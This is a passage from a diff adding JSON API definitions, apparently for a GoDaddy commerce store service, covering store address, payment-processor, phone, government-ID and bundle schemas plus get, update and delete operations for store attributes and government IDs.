+ "description": "The delivery service. Post office box, bag number, or post office name.", + "maxLength": 100, + "type": "string" + }, + "geoCoordinates": { + "$id": "https://godaddy.com/schemas/common/geo-coordinates.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "The geographic latitude and longitude coordinates.", + "properties": { + "latitude": { + "pattern": "^-?([1-8]?[1-9]|[1-9]0)\\.{1}\\d{1,6}", + "type": "string" + }, + "longitude": { + "pattern": "^-?([1]?[1-7][1-9]|[1]?[1-8][0]|[1-9]?[0-9])\\.{1}\\d{1,6}", + "type": "string" + } + }, + "required": [ + "longitude", + "latitude" + ], + "title": "Geographic Coordinates", + "type": "object" + }, + "streetName": { + "description": "The street name. Just `Drury` in `Drury Lane`.", + "maxLength": 100, + "type": "string" + }, + "streetNumber": { + "description": "The street number.", + "maxLength": 100, + "type": "string" + }, + "streetType": { + "description": "The street type. For example, avenue, boulevard, road, or expressway.", + "maxLength": 100, + "type": "string" + }, + "subBuilding": { + "description": "The first-order entity below a named building or location that represents the sub-premise. Usually a single building within a collection of buildings with a common name. Can be a flat, story, floor, room, or apartment.", + "maxLength": 100, + "type": "string" + } + }, + "title": "Address Details", + "type": "object" + }, + "addressLine1": { + "description": "The first line of the address. For example, number and street name. For example, `3032 Bunker Hill Lane`. Required for compliance and risk checks. Must contain the full address.", + "maxLength": 300, + "type": "string" + }, + "addressLine2": { + "description": "The second line of the address. For example, office suite or apartment number.", + "maxLength": 300, + "type": "string" + }, + "addressLine3": { + "description": "The third line of the address, if needed. For example, a street complement for Brazil; direction text, such as `next to Opera House`; or a landmark reference in an Indian address.", + "maxLength": 100, + "type": "string" + }, + "adminArea1": { + "description": "The highest level sub-division in a country, which is usually a province, state, or ISO-3166-2 subdivision; formatted for postal delivery. For example, `CA` and not `California`. For example, for UK - A county; for USs - A state; for Canada - A province; for Japan - A prefecture; for Switzerland - A kanton.", + "maxLength": 300, + "type": "string" + }, + "adminArea2": { + "description": "A city, town, or village. Smaller than `adminArea1`.", + "maxLength": 300, + "type": "string" + }, + "adminArea3": { + "description": "A sub-locality, suburb, neighborhood, or district. Smaller than `adminArea2`. For example, in Brazil - Suburb, bairro, or neighborhood; in India - Sub-locality or district. Street name information may not always available and a sub-locality or district can reference a very small area.", + "maxLength": 100, + "type": "string" + }, + "adminArea4": { + "description": "The neighborhood, ward, or district. Smaller than `adminArea3` or `subLocality`. For example, the postal sorting code that is used in Guernsey and many French territories, such as French Guiana; the fine-grained administrative levels in China.", + "maxLength": 100, + "type": "string" + }, + "countryCode": { + "$id": "https://godaddy.com/schemas/common-types/country-code.v1", + "$schema": "http://json-schema.org/draft/2020-12/schema", + "description": "A two-character ISO 3166-1 code that identifies the country or region.", + "maxLength": 2, + "minLength": 2, + "pattern": "^([A-Z]{2}|C2)$", + "type": "string" + }, + "postalCode": { + "description": "The postal code, which is the zip code or equivalent. Typically required for countries that have a postal code or an equivalent. See [Postal code](https://en.wikipedia.org/wiki/Postal_code).", + "maxLength": 60, + "type": "string" + } + }, + "required": [ + "countryCode" + ], + "title": "Postal Address (Medium-Grained)", + "type": "object" + }, + "attributes": { + "$id": "https://godaddy.com/schemas/commerce/store/dictionary.v2", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "additionalProperties": { + "maxLength": 256, + "type": "string" + }, + "description": "Key value pairs of strings", + "maxProperties": 40, + "minProperties": 0, + "title": "Dictionary", + "type": "object" + }, + "businessId": { + "$id": "https://godaddy.com/schemas/common/uuid.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A universally unique identifier (UUID) in [RFC-4122 format](https://tools.ietf.org/html/rfc4122).", + "format": "uuid", + "type": "string" + }, + "createdAt": { + "description": "The createdAt of the store. This createdAt is generated internally during create store.", + "format": "date-time", + "readOnly": true, + "type": "string" + }, + "defaultChannelId": { + "$id": "https://godaddy.com/schemas/common/uuid.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A universally unique identifier (UUID) in [RFC-4122 format](https://tools.ietf.org/html/rfc4122).", + "format": "uuid", + "type": "string" + }, + "defaultRetailChannelId": { + "$id": "https://godaddy.com/schemas/common/uuid.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A universally unique identifier (UUID) in [RFC-4122 format](https://tools.ietf.org/html/rfc4122).", + "format": "uuid", + "type": "string" + }, + "displayName": { + "description": "The store name (used in various displays). It is recommended to pick a different name for each store in the business.", + "maxLength": 64, + "type": "string" + }, + "emailAddress": { + "description": "The email address of the store.", + "maxLength": 64, + "type": "string" + }, + "governmentIds": { + "items": { + "$id": "https://godaddy.com/schemas/commerce/store-government-id.v2", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "GovernmentId details", + "properties": { + "createdAt": { + "description": "The time (in ISO-8601 format) at which the application was created. E.g. 2014-09-11T23:14:44Z.", + "format": "date-time", + "readOnly": true, + "type": "string" + }, + "governmentId": { + "description": "The government id. E.g. '123456789'", + "maxLength": 64, + "minLength": 1, + "type": "string" + }, + "type": { + "description": "The type of government id. E.g. 'drivers-license'", + "maxLength": 32, + "minLength": 1, + "type": "string" + }, + "updatedAt": { + "description": "The time (in ISO-8601 format) at which the application was updated. E.g. 2014-09-11T23:14:44Z.", + "format": "date-time", + "readOnly": true, + "type": "string" + } + }, + "required": [ + "governmentId", + "type" + ], + "title": "GovernmentId", + "type": "object" + }, + "maxItems": 10, + "type": "array" + }, + "id": { + "$id": "https://godaddy.com/schemas/common/uuid.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A universally unique identifier (UUID) in [RFC-4122 format](https://tools.ietf.org/html/rfc4122).", + "format": "uuid", + "type": "string" + }, + "ownerId": { + "$id": "https://godaddy.com/schemas/common/uuid.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A universally unique identifier (UUID) in [RFC-4122 format](https://tools.ietf.org/html/rfc4122).", + "format": "uuid", + "type": "string" + }, + "paymentDetails": { + "$id": "https://godaddy.com/schemas/commerce/store-payment-details.v2", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Payment details for a store.", + "properties": { + "acquirer": { + "$id": "https://godaddy.com/schemas/commerce/store-processor.v2", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Processor to be used by Store", + "enum": [ + "CHASE_PAYMENTECH", + "REDE", + "EVO", + "FIRST_DATA", + "GLOBAL_PAYMENTS", + "HEARTLAND_PAYMENT_SYSTEM", + "ELAVON", + "MERCURY", + "MONERIS", + "PAYPAL", + "ELAVON_MX", + "STRIPE", + "TSYS", + "VANTIV", + "WORLDPAY", + "EPX", + "WEPAY", + "MASHREQ", + "AXIS", + "KARTUKU", + "NEXI", + "DANA", + "MYNT", + "POYNT", + "NUVEI", + "NPAY", + "BRIDGEPAY", + "CONVERGE", + "MOCK", + "NA_BANCARD", + "CREDITCALL", + "ELAVON_EU", + "FUSEBOX", + "EVERTEC", + "GHL", + "RS2", + "JCN", + "PRISMA", + "VANTIV_EXPRESS", + "EZETAP", + "ADYEN", + "USBANK", + "LETGO", + "CHECK_COMMERCE" + ], + "title": "Store Processor", + "type": "string" + }, + "currency": { + "$id": "https://godaddy.com/schemas/common/currency-code.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A three-character ISO-4217 currency code.", + "maxLength": 3, + "minLength": 3, + "title": "Currency Code", + "type": "string" + }, + "externalStoreId": { + "description": "MID (merchantId) assigned to the store by the acquirer.", + "maxLength": 64, + "type": "string" + }, + "gatewayStoreId": { + "description": "ID assigned to the store by the gateway (some gateways assign their own IDs). This field will typically not be available when the business is initially created in the Poynt system. Once that information is passed to the gateway, they will provide their ID.", + "maxLength": 64, + "type": "string" + }, + "processor": { + "$id": "https://godaddy.com/schemas/commerce/store-processor.v2", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Processor to be used by Store", + "enum": [ + "CHASE_PAYMENTECH", + "REDE", + "EVO", + "FIRST_DATA", + "GLOBAL_PAYMENTS", + "HEARTLAND_PAYMENT_SYSTEM", + "ELAVON", + "MERCURY", + "MONERIS", + "PAYPAL", + "ELAVON_MX", + "STRIPE", + "TSYS", + "VANTIV", + "WORLDPAY", + "EPX", + "WEPAY", + "MASHREQ", + "AXIS", + "KARTUKU", + "NEXI", + "DANA", + "MYNT", + "POYNT", + "NUVEI", + "NPAY", + "BRIDGEPAY", + "CONVERGE", + "MOCK", + "NA_BANCARD", + "CREDITCALL", + "ELAVON_EU", + "FUSEBOX", + "EVERTEC", + "GHL", + "RS2", + "JCN", + "PRISMA", + "VANTIV_EXPRESS", + "EZETAP", + "ADYEN", + "USBANK", + "LETGO", + "CHECK_COMMERCE" + ], + "title": "Store Processor", + "type": "string" + }, + "processorAdapterId": { + "deprecated": true, + "description": "The processor adapter id for the store.", + "type": "string" + }, + "processorData": { + "$id": "https://godaddy.com/schemas/commerce/store/dictionary.v2", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "additionalProperties": { + "maxLength": 256, + "type": "string" + }, + "description": "Key value pairs of strings", + "maxProperties": 40, + "minProperties": 0, + "title": "Dictionary", + "type": "object" + } + }, + "required": [ + "externalStoreId" + ], + "title": "Payment Details", + "type": "object" + }, + "phone": { + "$id": "https://godaddy.com/schemas/commerce/store/phone-with-type.v2", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Contact Phone", + "properties": { + "details": { + "$id": "https://godaddy.com/schemas/common/phone.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "The phone number, in its canonical international [E.164 numbering plan format](https://www.itu.int/rec/T-REC-E.164/en).", + "properties": { + "countryCode": { + "description": "The country calling code (CC), in its canonical international [E.164 numbering plan format](https://www.itu.int/rec/T-REC-E.164/en). The combined length of the CC and the national number must not be greater than 15 digits. The national number consists of a national destination code (NDC) and subscriber number (SN).", + "maxLength": 3, + "minLength": 1, + "pattern": "^[0-9]{1,3}?$", + "type": "string" + }, + "extensionNumber": { + "description": "The extension number.", + "maxLength": 15, + "minLength": 1, + "pattern": "^[0-9]{1,15}?$", + "type": "string" + }, + "nationalNumber": { + "description": "The national number, in its canonical international [E.164 numbering plan format](https://www.itu.int/rec/T-REC-E.164/en). The combined length of the country calling code (CC) and the national number must not be greater than 15 digits. The national number consists of a national destination code (NDC) and subscriber number (SN).", + "maxLength": 14, + "minLength": 1, + "pattern": "^[0-9]{1,14}?$", + "type": "string" + } + }, + "required": [ + "countryCode", + "nationalNumber" + ], + "title": "Phone", + "type": "object" + }, + "type": { + "$id": "https://godaddy.com/schemas/common/phone-type.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "The phone type.", + "enum": [ + "FAX", + "HOME", + "MOBILE", + "OTHER", + "WORK" + ], + "title": "Phone type", + "type": "string" + } + }, + "required": [ + "details" + ], + "title": "Phone with Type", + "type": "object" + }, + "status": { + "default": "ACTIVE", + "description": "The status of the store.", + "enum": [ + "ACTIVE", + "DISABLED", + "REMOVED" + ], + "type": "string" + }, + "subscribedBundles": { + "description": "The list of bundles this store has subscribed to.", + "items": { + "$id": "https://godaddy.com/schemas/commerce/store-bundled-features.v2", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "deprecated": true, + "description": "This is the base object for the list of features a business/store has subscribed to.", + "properties": { + "createdAt": { + "description": "This is a response only field. The time (in ISO-8601 format) at which the bundle was created. E.g. 2014-09-11T23:14:44Z.", + "format": "date-time", + "readOnly": true, + "type": "string" + }, + "featureConfig": { + "$id": "https://godaddy.com/schemas/commerce/store/dictionary.v2", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "additionalProperties": { + "maxLength": 256, + "type": "string" + }, + "description": "Key value pairs of strings", + "maxProperties": 40, + "minProperties": 0, + "title": "Dictionary", + "type": "object" + }, + "featureList": { + "description": "List of features the bundle contains.", + "items": { + "type": "string" + }, + "maxItems": 80, + "type": "array" + }, + "id": { + "$id": "https://godaddy.com/schemas/common/uuid.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A universally unique identifier (UUID) in [RFC-4122 format](https://tools.ietf.org/html/rfc4122).", + "format": "uuid", + "type": "string" + }, + "name": { + "description": "Name of bundle.", + "maxLength": 64, + "type": "string" + }, + "type": { + "description": "The type of the bundle.", + "type": "string" + }, + "updatedAt": { + "description": "This is a response only field. The time (in ISO-8601 format) at which the bundle was updated. E.g. 2014-09-11T23:14:44Z.", + "format": "date-time", + "readOnly": true, + "type": "string" + } + }, + "required": [ + "featureList", + "id", + "name" + ], + "title": "Bundled Features", + "type": "object" + }, + "type": "array" + }, + "timezone": { + "description": "The timezone of the store.", + "maxLength": 64, + "type": "string" + }, + "updatedAt": { + "description": "The updatedAt of the store. This updatedAt is set internally during store updates.", + "format": "date-time", + "readOnly": true, + "type": "string" + } + }, + "required": [ + "displayName", + "businessId" + ], + "title": "Store", + "type": "object" + } + }, + "default": { + "description": "Error", + "schema": { + "$ref": "./common-types/v1/error.json" + } + } + }, + "scopes": [ + "commerce.store:update" + ] + }, + { + "operationId": "getStoreAttribute", + "method": "GET", + "path": "/stores/{storeId}/attributes/{attrName}", + "summary": "Get store attribute", + "description": "Retrieve the information of a store attribute using the business ID, store ID and attribute name.", + "parameters": [ + { + "name": "X-Request-Id", + "in": "header", + "required": false, + "description": "Request ID", + "schema": { + "format": "uuid", + "type": "string" + } + }, + { + "name": "storeId", + "in": "path", + "required": true, + "description": "Store ID", + "schema": { + "$ref": "./common-types/v1/uuid.json" + } + }, + { + "name": "attrName", + "in": "path", + "required": true, + "description": "Attribute name", + "schema": { + "type": "string" + } + } + ], + "responses": { + "default": { + "description": "Error", + "schema": { + "$ref": "./common-types/v1/error.json" + } + }, + "404": { + "description": "Error", + "schema": { + "$ref": "./common-types/v1/error.json" + } + }, + "200": { + "description": "Store Attribute Found" + } + }, + "scopes": [ + "commerce.store:read" + ] + }, + { + "operationId": "updateStoreAttribute", + "method": "PUT", + "path": "/stores/{storeId}/attributes/{attrName}", + "summary": "Update store attribute", + "description": "Modify the attribute of a store using the store ID and attribute name.", + "parameters": [ + { + "name": "X-Request-Id", + "in": "header", + "required": false, + "description": "Request ID", + "schema": { + "format": "uuid", + "type": "string" + } + }, + { + "name": "storeId", + "in": "path", + "required": true, + "description": "Store ID", + "schema": { + "$ref": "./common-types/v1/uuid.json" + } + }, + { + "name": "attrName", + "in": "path", + "required": true, + "description": "Attribute name", + "schema": { + "type": "string" + } + } + ], + "requestBody": { + "required": false, + "contentType": "application/json", + "schema": { + "properties": { + "ttl": { + "description": "The expiration time of an ephemeral attribute.", + "type": "integer" + }, + "value": { + "description": "The attribute value.", + "type": "string" + } + }, + "required": [ + "value" + ] + } + }, + "responses": { + "200": { + "description": "Store Attribute updated" + }, + "404": { + "description": "Error", + "schema": { + "$ref": "./common-types/v1/error.json" + } + }, + "default": { + "description": "Error", + "schema": { + "$ref": "./common-types/v1/error.json" + } + } + }, + "scopes": [ + "commerce.store:update" + ] + }, + { + "operationId": "deleteStoreAttribute", + "method": "DELETE", + "path": "/stores/{storeId}/attributes/{attrName}", + "summary": "Delete store attribute", + "description": "Delete a store attribute using the store ID and attribute name.", + "parameters": [ + { + "name": "X-Request-Id", + "in": "header", + "required": false, + "description": "Request ID", + "schema": { + "format": "uuid", + "type": "string" + } + }, + { + "name": "storeId", + "in": "path", + "required": true, + "description": "Store ID", + "schema": { + "$ref": "./common-types/v1/uuid.json" + } + }, + { + "name": "attrName", + "in": "path", + "required": true, + "description": "Attribute name", + "schema": { + "type": "string" + } + }, + { + "name": "attrName", + "in": "path", + "required": true, + "description": "Attribute name", + "schema": { + "type": "string" + } + } + ], + "responses": { + "404": { + "description": "Error", + "schema": { + "$ref": "./common-types/v1/error.json" + } + }, + "default": { + "description": "Error", + "schema": { + "$ref": "./common-types/v1/error.json" + } + }, + "200": { + "description": "Store Attribute deleted" + } + }, + "scopes": [ + "commerce.store:update" + ] + }, + { + "operationId": "updateGovernmentIds", + "method": "PUT", + "path": "/stores/{storeId}/government-ids", + "summary": "Update government IDs", + "description": "Update government IDs using the store ID.", + "parameters": [ + { + "name": "X-Request-Id", + "in": "header", + "required": false, + "description": "Request ID", + "schema": { + "format": "uuid", + "type": "string" + } + }, + { + "name": "storeId", + "in": "path", + "required": true, + "description": "Store ID", + "schema": { + "$ref": "./common-types/v1/uuid.json" + } + } + ], + "requestBody": { + "required": false, + "contentType": "application/json", + "schema": { + "items": { + "$ref": "./models/GovernmentId.yaml" + }, + "type": "array" + } + }, + "responses": { + "404": { + "description": "Error", + "schema": { + "$ref": "./common-types/v1/error.json" + } + }, + "200": { + "description": "Government IDs updated", + "schema": { + "$id": "https://godaddy.com/schemas/commerce/store.v2", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Store represent a brand under a business", + "properties": { + "address": { + "$id": "https://godaddy.com/schemas/common/address.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "An internationalized postal address. Maps to [AddressValidationMetadata](https://github.com/googlei18n/libaddressinput/wiki/AddressValidationMetadata) from Google's Address Data Service and HTML 5.1 [Autofilling form controls: the autocomplete attribute](https://www.w3.org/TR/html51/sec-forms.html#autofilling-form-controls-the-autocomplete-attribute).", + "properties": { + "addressDetails": { + "description": "The non-portable additional address details that are sometimes needed for compliance, risk, or other scenarios where fine-grain address information might be needed. Not portable with common third-party and open-source address libraries and redundant with core fields. For example, `address.addressLine1` is usually a combination of `addressDetails.streetNumber` and `streetName` and `streetType`.", + "properties": { + "addressType": { + "description": "The type of address. Single character representation of a type. For example: 'B' for building, 'F' for organization, 'G' for general delivery, 'H' for high-rise, 'L' for large-volume organization, 'P' for Post Office box or delivery service, 'R' for rural route, 'S' for street, 'U' for unidentified address.", + "maxLength": 1, + "type": "string" + }, + "buildingName": { + "description": "A named locations that represents the premise. Usually a building name or number or collection of buildings with a common name or number. For example, Craven House.", + "maxLength": 100, + "type": "string" + }, + "deliveryService": { + "description": "The delivery service. Post office box, bag number, or post office name.", + "maxLength": 100, + "type": "string" + }, + "geoCoordinates": { + "$id": "https://godaddy.com/schemas/common/geo-coordinates.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "The geographic latitude and longitude coordinates.", + "properties": { + "latitude": { + "pattern": "^-?([1-8]?[1-9]|[1-9]0)\\.{1}\\d{1,6}", + "type": "string" + }, + "longitude": { + "pattern": "^-?([1]?[1-7][1-9]|[1]?[1-8][0]|[1-9]?[0-9])\\.{1}\\d{1,6}", + "type": "string" + } + }, + "required": [ + "longitude", + "latitude" + ], + "title": "Geographic Coordinates", + "type": "object" + }, + "streetName": { + "description": "The street name. Just `Drury` in `Drury Lane`.", + "maxLength": 100, + "type": "string" + }, + "streetNumber": { + "description": "The street number.", + "maxLength": 100, + "type": "string" + }, + "streetType": { + "description": "The street type. For example, avenue, boulevard, road, or expressway.", + "maxLength": 100, + "type": "string" + }, + "subBuilding": { + "description": "The first-order entity below a named building or location that represents the sub-premise. Usually a single building within a collection of buildings with a common name. Can be a flat, story, floor, room, or apartment.", + "maxLength": 100, + "type": "string" + } + }, + "title": "Address Details", + "type": "object" + }, + "addressLine1": { + "description": "The first line of the address. For example, number and street name. For example, `3032 Bunker Hill Lane`. Required for compliance and risk checks. Must contain the full address.", + "maxLength": 300, + "type": "string" + }, + "addressLine2": { + "description": "The second line of the address. For example, office suite or apartment number.", + "maxLength": 300, + "type": "string" + }, + "addressLine3": { + "description": "The third line of the address, if needed. For example, a street complement for Brazil; direction text, such as `next to Opera House`; or a landmark reference in an Indian address.", + "maxLength": 100, + "type": "string" + }, + "adminArea1": { + "description": "The highest level sub-division in a country, which is usually a province, state, or ISO-3166-2 subdivision; formatted for postal delivery. For example, `CA` and not `California`. For example, for UK - A county; for USs - A state; for Canada - A province; for Japan - A prefecture; for Switzerland - A kanton.", + "maxLength": 300, + "type": "string" + }, + "adminArea2": { + "description": "A city, town, or village. Smaller than `adminArea1`.", + "maxLength": 300, + "type": "string" + }, + "adminArea3": { + "description": "A sub-locality, suburb, neighborhood, or district. Smaller than `adminArea2`. For example, in Brazil - Suburb, bairro, or neighborhood; in India - Sub-locality or district. Street name information may not always available and a sub-locality or district can reference a very small area.", + "maxLength": 100, + "type": "string" + }, + "adminArea4": { + "description": "The neighborhood, ward, or district. Smaller than `adminArea3` or `subLocality`. For example, the postal sorting code that is used in Guernsey and many French territories, such as French Guiana; the fine-grained administrative levels in China.", + "maxLength": 100, + "type": "string" + }, + "countryCode": { + "$id": "https://godaddy.com/schemas/common-types/country-code.v1", + "$schema": "http://json-schema.org/draft/2020-12/schema", + "description": "A two-character ISO 3166-1 code that identifies the country or region.", + "maxLength": 2, + "minLength": 2, + "pattern": "^([A-Z]{2}|C2)$", + "type": "string" + }, + "postalCode": { + "description": "The postal code, which is the zip code or equivalent. Typically required for countries that have a postal code or an equivalent. See [Postal code](https://en.wikipedia.org/wiki/Postal_code).", + "maxLength": 60, + "type": "string" + } + }, + "required": [ + "countryCode" + ], + "title": "Postal Address (Medium-Grained)", + "type": "object" + }, + "attributes": { + "$id": "https://godaddy.com/schemas/commerce/store/dictionary.v2", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "additionalProperties": { + "maxLength": 256, + "type": "string" + }, + "description": "Key value pairs of strings", + "maxProperties": 40, + "minProperties": 0, + "title": "Dictionary", + "type": "object" + }, + "businessId": { + "$id": "https://godaddy.com/schemas/common/uuid.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A universally unique identifier (UUID) in [RFC-4122 format](https://tools.ietf.org/html/rfc4122).", + "format": "uuid", + "type": "string" + }, + "createdAt": { + "description": "The createdAt of the store. This createdAt is generated internally during create store.", + "format": "date-time", + "readOnly": true, + "type": "string" + }, + "defaultChannelId": { + "$id": "https://godaddy.com/schemas/common/uuid.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A universally unique identifier (UUID) in [RFC-4122 format](https://tools.ietf.org/html/rfc4122).", + "format": "uuid", + "type": "string" + }, + "defaultRetailChannelId": { + "$id": "https://godaddy.com/schemas/common/uuid.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A universally unique identifier (UUID) in [RFC-4122 format](https://tools.ietf.org/html/rfc4122).", + "format": "uuid", + "type": "string" + }, + "displayName": { + "description": "The store name (used in various displays). It is recommended to pick a different name for each store in the business.", + "maxLength": 64, + "type": "string" + }, + "emailAddress": { + "description": "The email address of the store.", + "maxLength": 64, + "type": "string" + }, + "governmentIds": { + "items": { + "$id": "https://godaddy.com/schemas/commerce/store-government-id.v2", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "GovernmentId details", + "properties": { + "createdAt": { + "description": "The time (in ISO-8601 format) at which the application was created. E.g. 2014-09-11T23:14:44Z.", + "format": "date-time", + "readOnly": true, + "type": "string" + }, + "governmentId": { + "description": "The government id. E.g. '123456789'", + "maxLength": 64, + "minLength": 1, + "type": "string" + }, + "type": { + "description": "The type of government id. E.g. 'drivers-license'", + "maxLength": 32, + "minLength": 1, + "type": "string" + }, + "updatedAt": { + "description": "The time (in ISO-8601 format) at which the application was updated. E.g. 2014-09-11T23:14:44Z.", + "format": "date-time", + "readOnly": true, + "type": "string" + } + }, + "required": [ + "governmentId", + "type" + ], + "title": "GovernmentId", + "type": "object" + }, + "maxItems": 10, + "type": "array" + }, + "id": { + "$id": "https://godaddy.com/schemas/common/uuid.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A universally unique identifier (UUID) in [RFC-4122 format](https://tools.ietf.org/html/rfc4122).", + "format": "uuid", + "type": "string" + }, + "ownerId": { + "$id": "https://godaddy.com/schemas/common/uuid.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A universally unique identifier (UUID) in [RFC-4122 format](https://tools.ietf.org/html/rfc4122).", + "format": "uuid", + "type": "string" + }, + "paymentDetails": { + "$id": "https://godaddy.com/schemas/commerce/store-payment-details.v2", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Payment details for a store.", + "properties": { + "acquirer": { + "$id": "https://godaddy.com/schemas/commerce/store-processor.v2", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Processor to be used by Store", + "enum": [ + "CHASE_PAYMENTECH", + "REDE", + "EVO", + "FIRST_DATA", + "GLOBAL_PAYMENTS", + "HEARTLAND_PAYMENT_SYSTEM", + "ELAVON", + "MERCURY", + "MONERIS", + "PAYPAL", + "ELAVON_MX", + "STRIPE", + "TSYS", + "VANTIV", + "WORLDPAY", + "EPX", + "WEPAY", + "MASHREQ", + "AXIS", + "KARTUKU", + "NEXI", + "DANA", + "MYNT", + "POYNT", + "NUVEI", + "NPAY", + "BRIDGEPAY", + "CONVERGE", + "MOCK", + "NA_BANCARD", + "CREDITCALL", + "ELAVON_EU", + "FUSEBOX", + "EVERTEC", + "GHL", + "RS2", + "JCN", + "PRISMA", + "VANTIV_EXPRESS", + "EZETAP", + "ADYEN", + "USBANK", + "LETGO", + "CHECK_COMMERCE" + ], + "title": "Store Processor", + "type": "string" + }, + "currency": { + "$id": "https://godaddy.com/schemas/common/currency-code.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A three-character ISO-4217 currency code.", + "maxLength": 3, + "minLength": 3, + "title": "Currency Code", + "type": "string" + }, + "externalStoreId": { + "description": "MID (merchantId) assigned to the store by the acquirer.", + "maxLength": 64, + "type": "string" + }, + "gatewayStoreId": { + "description": "ID assigned to the store by the gateway (some gateways assign their own IDs). This field will typically not be available when the business is initially created in the Poynt system. Once that information is passed to the gateway, they will provide their ID.", + "maxLength": 64, + "type": "string" + }, + "processor": { + "$id": "https://godaddy.com/schemas/commerce/store-processor.v2", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Processor to be used by Store", + "enum": [ + "CHASE_PAYMENTECH", + "REDE", + "EVO", + "FIRST_DATA", + "GLOBAL_PAYMENTS", + "HEARTLAND_PAYMENT_SYSTEM", + "ELAVON", + "MERCURY", + "MONERIS", + "PAYPAL", + "ELAVON_MX", + "STRIPE", + "TSYS", + "VANTIV", + "WORLDPAY", + "EPX", + "WEPAY", + "MASHREQ", + "AXIS", + "KARTUKU", + "NEXI", + "DANA", + "MYNT", + "POYNT", + "NUVEI", + "NPAY", + "BRIDGEPAY", + "CONVERGE", + "MOCK", + "NA_BANCARD", + "CREDITCALL", + "ELAVON_EU", + "FUSEBOX", + "EVERTEC", + "GHL", + "RS2", + "JCN", + "PRISMA", + "VANTIV_EXPRESS", + "EZETAP", + "ADYEN", + "USBANK", + "LETGO", + "CHECK_COMMERCE" + ], + "title": "Store Processor", + "type": "string" + }, + "processorAdapterId": { + "deprecated": true, + "description": "The processor adapter id for the store.", + "type": "string" + }, + "processorData": { + "$id": "https://godaddy.com/schemas/commerce/store/dictionary.v2", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "additionalProperties": { + "maxLength": 256, + "type": "string" + }, + "description": "Key value pairs of strings", + "maxProperties": 40, + "minProperties": 0, + "title": "Dictionary", + "type": "object" + } + }, + "required": [ + "externalStoreId" + ], + "title": "Payment Details", + "type": "object" + }, + "phone": { + "$id": "https://godaddy.com/schemas/commerce/store/phone-with-type.v2", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Contact Phone", + "properties": { + "details": { + "$id": "https://godaddy.com/schemas/common/phone.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "The phone number, in its canonical international [E.164 numbering plan format](https://www.itu.int/rec/T-REC-E.164/en).", + "properties": { + "countryCode": { + "description": "The country calling code (CC), in its canonical international [E.164 numbering plan format](https://www.itu.int/rec/T-REC-E.164/en). The combined length of the CC and the national number must not be greater than 15 digits. The national number consists of a national destination code (NDC) and subscriber number (SN).", + "maxLength": 3, + "minLength": 1, + "pattern": "^[0-9]{1,3}?$", + "type": "string" + }, + "extensionNumber": { + "description": "The extension number.", + "maxLength": 15, + "minLength": 1, + "pattern": "^[0-9]{1,15}?$", + "type": "string" + }, + "nationalNumber": { + "description": "The national number, in its canonical international [E.164 numbering plan format](https://www.itu.int/rec/T-REC-E.164/en). The combined length of the country calling code (CC) and the national number must not be greater than 15 digits. The national number consists of a national destination code (NDC) and subscriber number (SN).", + "maxLength": 14, + "minLength": 1, + "pattern": "^[0-9]{1,14}?$", + "type": "string" + } + }, + "required": [ + "countryCode", + "nationalNumber" + ], + "title": "Phone", + "type": "object" + }, + "type": { + "$id": "https://godaddy.com/schemas/common/phone-type.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "The phone type.", + "enum": [ + "FAX", + "HOME", + "MOBILE", + "OTHER", + "WORK" + ], + "title": "Phone type", + "type": "string" + } + }, + "required": [ + "details" + ], + "title": "Phone with Type", + "type": "object" + }, + "status": { + "default": "ACTIVE", + "description": "The status of the store.", + "enum": [ + "ACTIVE", + "DISABLED", + "REMOVED" + ], + "type": "string" + }, + "subscribedBundles": { + "description": "The list of bundles this store has subscribed to.", + "items": { + "$id": "https://godaddy.com/schemas/commerce/store-bundled-features.v2", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "deprecated": true, + "description": "This is the base object for the list of features a business/store has subscribed to.", + "properties": { + "createdAt": { + "description": "This is a response only field. The time (in ISO-8601 format) at which the bundle was created. E.g. 2014-09-11T23:14:44Z.", + "format": "date-time", + "readOnly": true, + "type": "string" + }, + "featureConfig": { + "$id": "https://godaddy.com/schemas/commerce/store/dictionary.v2", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "additionalProperties": { + "maxLength": 256, + "type": "string" + }, + "description": "Key value pairs of strings", + "maxProperties": 40, + "minProperties": 0, + "title": "Dictionary", + "type": "object" + }, + "featureList": { + "description": "List of features the bundle contains.", + "items": { + "type": "string" + }, + "maxItems": 80, + "type": "array" + }, + "id": { + 